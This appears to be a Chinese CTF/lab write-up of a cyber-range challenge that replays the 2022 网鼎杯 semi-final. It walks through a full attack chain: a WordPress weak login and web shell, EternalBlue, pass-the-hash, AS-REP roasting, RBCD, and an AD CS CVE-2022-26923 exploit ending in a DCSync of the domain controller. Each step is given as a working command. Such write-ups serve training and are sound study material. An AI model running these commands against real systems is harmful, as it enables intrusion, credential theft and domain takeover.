春秋云镜-2022网鼎杯半决赛复盘
flag1
开始先用fscan扫一下
访问发现是个wordpress,wpscan一下
1
wpscan --url http://39.99.132.121/
版本为6.2.6,后台弱密码admin/123456登录,由于存在theme file editor,因此可以写马 随便找一个php文件,写入木马.
使用蚁剑连接,路径之前wpscan给出来了.
得到flag
flag2
直接vshell上线
查ip,扫内网
扫出内网的四台机子
1
2
3
4
5
6
7
8
目标主机: 172.22.15.18
主机名: XR-CA
目标主机: 172.22.15.24
主机名: XR-WIN08
目标主机: 172.22.15.13
主机名: XR-DC01
目标主机: 172.22.15.35
主机名: XR-0687
172.22.15.24扫出来有MS17-010(永恒之蓝)漏洞
那直接用msf来打
1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit
msf的shell有点问题,打了好久没有通
用msf读个flag
也可以用hashdump拿到哈希
拿到hash可以用psexec横向移动
Administractor的NTLM为0e52d03e9b939997401466a0ec5a9cbc,哈希横传登录一下,注意由于脚本设计问题,所以需要把前面的:带上
1
proxychains4 python3 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk
flag3
主机 172.22.15.24 (XR-WIN08) 上还有一个“ZDOO 全协同管理平台(然之协同)”,存在弱口令 admin/123456:
以及一个 phpMyAdmin 服务,用户名密码在 phpstudy 中查看到 root/root@#123:
导出找到的这些域用户账号和密文密码:
有两个 hash 可以在 somd5 上解出密码:
收集到的域用户账号:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lixiuying@xiaorang.lab
jiaxiaoliang@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab
zhangyi@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
lixiaoliang@xiaorang.lab
wanghao@xiaorang.lab
我们猜测机子未开启预身份验证
原理:Kerberos 预认证默认是必须的,但如果某个账户关闭了预认证(UF_DONT_REQUIRE_PREAUTH),攻击者无需密码就能让 KDC 返回用该用户密码加密的 AS-REP 响应,然后离线爆破。
1
2
AS-REP Roasting是一种对用户账户进行离线爆破的攻击方式。但是该攻击方式使用上比较受限,因为其需要用户账户设置不要求Kerberos 预身份验证选项,而该选项默认是没有勾选的。Kerberos 预身份验证发生在 Kerberos 身份验证的第一阶段(AS_REQ&AS REP),它的主要作用是防止密码离线爆破。默认情况下,预身份验证是开启的,KDC 会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户向域控制器的 Kerberos 88 端口请求票据,此时域控不会进行任何验证就将 TGT 和该用户 Hash 加密的 Login Session Key 返回。因此,攻击者就可以对获取到的用户 Hash 加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码。
接下来使用 AS-REP Roasting 攻击,尝试获取域用户密码加密的 AS-REP 响应:
1
proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile users.txt -format hashcat
拿到了两个用户的TGT票据
1
2
3
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:91e6b6e8eca3c81e9ebc041af6fbe6c9$b1de5c61b73c01359b467a40d0ddf8819234b3f383462eec85dc510eb1c3af9ce6718c33a510a131874bea7e2f2651d7d3de029cdb2c6b6e762bebda4756af475bd4c6c06db8ba3944b1608a5e9e7c2bb312db138301a28abc71b8d6cff4e4dfca8e31746d8b1856fc3e3234526bf2b183b79b6b21da685d3db4466505164f8e8e1a5290cabb7ba03c87406fa6eb4c24328f0e40af722bddffb95dff6fb23f1efeb23d0c491d1462c09e952c2783ca3f9ff8bc3b1b8c065df2e7e179801242b1e1643d639b4c2a56ca7fda7df124689b4af63b6ddc30a07299cac1a8b45fe23a3e0ec5078c16ae75880f9ae8
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:9159559ba318af794bad4ac369b60a1e$2dd93a8a64ff9e932b1707c3e2fbdd379ced93ffb975f5d7dd52b728e0f7dd0c0ea0cc7ffb924897a1a6c1bee062e1b2fb25431f45f4b44ad73a390269d5c5df8b74591b07db87cb22d0de7c5540996343304336da5b11c412b1613b8b2b59c774ce1c6cc99556b0c63484533be7790a058c994b3c9be8fdc780ff9ab5a1e0a0f2c560665dd221335baadb5eca7577290085079fe8cd9da81d7bcaae840133efad3de3698e4e43a617d0d8d9fcb981f9184f2ac639a65640774d409453ab4754d8107d89c12c1a41acf1b23c9bbcc8ec35743b746936a8d34ea3c031b274058826d48ee5ae7f954cb01770ac
用hashcat和kali自带的字典 rockyou 爆破一下
1
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt --show
成功登上 172.22.15.35
先用bloodhound信息收集一手
1
proxychains4 -q python3 bloodhound.py -u lixiuying -p winniethepooh -d xiaorang.lab -dc XR-DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.15.13 --auth-method ntlm --zip
发现lixiuying对XR-0687具有GenericWrite权限,即可以修改该机器账户的任意属性,能打RBCD
可以通过修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性(配置 RBCD)获取目标 SYSTEM 权限
RBCD(基于资源的约束委派)原理:
如果机器 A 的
msDS-AllowedToActOnBehalfOfOtherIdentity属性里写了机器 B,那么 B 就可以以任意用户身份申请访问 A 的票据(S4U2Proxy)攻击步骤:
1
2
3
4
5
6
7
① 用 lixiuying 创建一个恶意机器账户 EVILCOMPUTER$
↓
② 修改 XR-0687$ 的 RBCD 属性,写入 EVILCOMPUTER$
↓
③ 用 EVILCOMPUTER$ 申请冒充 Administrator 访问 XR-0687 的服务票据
↓
④ PTT(Pass The Ticket)→ psexec 登录 → SYSTEM
添加一个机器用户:
使用新建机器账户而不是 lixiuying 本身的原因是:S4U2Proxy 协议要求发起委派的必须是机器账户或配置了委派的服务账户,普通用户账户不行。
1
proxychains4 -q impacket-addcomputer -computer-name 'hunsil$' -computer-pass 'Abc123456' -dc-host XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 "xiaorang.lab/lixiuying:winniethepooh"
配置RDBC
1
proxychains4 -q impacket-rbcd xiaorang.lab/lixiuying:winniethepooh -action write -delegate-from "hunsil$" -delegate-to "XR-0687$" -dc-ip 172.22.15.13
使用 impacket工具的getST执行基于资源的约束性委派工具并获取拥有访问XR-0687机器上的GIFS服务的高权限票据
1
proxychains4 -q impacket-getST xiaorang.lab/hunsil$:'Abc123456' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
导入票据(使用 Kerberos 票据认证)
1
export KRB5CCNAME=Administrator.ccache
接下来psexec连主机就好了
1
proxychains4 -q impacket-psexec 'xiaorang.lab/administrator@XR-0687.xiaorang.lab' -target-ip 172.22.15.35 -codec gbk -no-pass -k
flag4(CA漏洞)
CVE-2022-26923
漏洞原理:AD CS(证书服务)在颁发机器证书时,用 dNSHostName 属性来标识是哪台机器。如果你创建一个机器账户并把 dNSHostName 改成域控的 FQDN,AD CS 会颁发一张”域控的证书”给你,再用这张证书认证就能冒充域控。
攻击步骤:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
① certipy 创建机器账户 EVILCOMPUTER2$
dNSHostName 设为 XR-DC01.xiaorang.lab(指向域控!)
↓
② 向 AD CS 申请 Machine 模板证书
→ 拿到域控的证书 xr-dc01.pfx
↓
③ 用这张证书认证到 LDAPS(Kerberos PKINIT 失败,走 Secure Channel)
+ 再做一次 RBCD,让 EVILCOMPUTER2$ 可以冒充域控
↓
④ getST 冒充 Administrator 申请 LDAP 服务票据
↓
⑤ DCSync → 导出域控 Administrator 的 NTLM Hash
↓
⑥ PTH/PTT 直接 psexec 登录域控 → SYSTEM
前面扫内网发现目标主机: 172.22.15.18,主机名: XR-CA,可能会打这个CVE
1
proxychains4 -q ~/.local/bin/certipy find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout
1
2
certipy find ← 当前这步,侦察阶段
→ 确认 CA 存在,获取 CA 名称 xiaorang-XR-CA-CA
1
proxychains4 -q certipy account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user 'EVILCOMPUTER2$' -pass '123@#ABC' -dns 'XR-DC01.xiaorang.lab'
-dns 'XR-DC01.xiaorang.lab'
这是 CVE-2022-26923 的核心!
将新建机器账户的 dNSHostName 属性设置为域控的 FQDN。
正常情况应该是:
1
EVILCOMPUTER2$ 的 dNSHostName = EVILCOMPUTER2.xiaorang.lab
攻击者故意改成:
1
EVILCOMPUTER2$ 的 dNSHostName = XR-DC01.xiaorang.lab ← 伪造成域控!
1
proxychains4 -q certipy req -u EVILCOMPUTER2\$@xiaorang.lab -p '123@#ABC' -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine//申请证书
1
proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug
PKINIT 原理:
1
2
3
4
5
6
正常 Kerberos 认证:用密码 Hash 加密
PKINIT 认证: 用证书(公私钥)代替密码
↓
理论上拿到 xr-dc01.pfx
→ 用证书向 KDC 证明"我是 XR-DC01$"
→ KDC 返回域控机器账户的 TGT
使用 certipy 请求 TGT 失败,出现 KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) 错误。
注:尝试通过 Secure Channel 将证书认证到 LDAPS,放弃使用 Kerberos PKINIT
为什么 Kerberos PKINIT 失败? 域控不支持 PKINIT(证书认证 TGT)这个 padata 类型,所以 certipy auth 报错。绕过方式是换用 bloodyAD 通过Schannel(LDAPS/SSL)认证通道直接做 RBCD,不走 Kerberos 认证这条路。
bloodyAD 使用证书进行认证,配置 RBCD 进行攻击:
1
certipy cert -pfx xr-dc01.pfx > xr-dc01.pem
为什么要转换格式
1
2
PFX → Windows 工具使用(certipy auth、Windows 原生)
PEM → Linux 工具使用(bloodyAD、openssl 等)
上一步 PKINIT 失败,改用 bloodyAD 通过 LDAPS 认证,而 bloodyAD 是 Linux 工具,只接受 PEM 格式,所以必须转换:
1
2
3
4
5
6
7
certipy req → xr-dc01.pfx(PFX格式)
↓
certipy cert 转换 ← 当前这步
↓
xr-dc01.pem(PEM格式)
↓
bloodyAD -c ':xr-dc01.pem' 使用
1
proxychains4 -q bloodyAD -d xiaorang.lab -u 'EVILCOMPUTER2$' -c ':xr-dc01.pem' --host 172.22.15.13 --secure add rbcd 'xr-dc01$' 'EVILCOMPUTER2$'
bloodyAD
专门通过 LDAP/LDAPS 操作 AD 对象属性的工具,支持证书认证,是 PKINIT 失败后的替代方案。
和 impacket-rbcd 的区别:
| 工具 | 认证方式 | 协议 |
|---|---|---|
impacket-rbcd | 密码/Hash | LDAP |
bloodyAD | 证书(PEM) | LDAPS(SSL) |
请求并冒充域管权限的服务票据:
1
2
proxychains4 -q impacket-getST 'xiaorang.lab/EVILCOMPUTER2$:123@#ABC' -spn LDAP/xr-dc01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
DCSync 从域控导出凭据:
1
export KRB5CCNAME=Administrator.ccache
1
proxychains4 -q impacket-secretsdump 'xiaorang.lab/administrator@XR-DC01.xiaorang.lab' -target-ip 172.22.15.13 -no-pass -k -just-dc-user Administrator
PTH 登录域控:
1
2
proxychains4 -q impacket-psexec 'xiaorang.lab/administrator@XR-DC01.xiaorang.lab' -target-ip 172.22.15.13 -codec gbk -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
理解:
修改属性后申请到的其实是域控机器账号的 TGT,然后你用这个 TGT 去委派(S4U)出了 Administrator 的 ST,最后才完成了 DCSync。
参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-%E7%BD%91%E9%BC%8E2022%E5%A4%8D%E7%9B%98-writeup/
























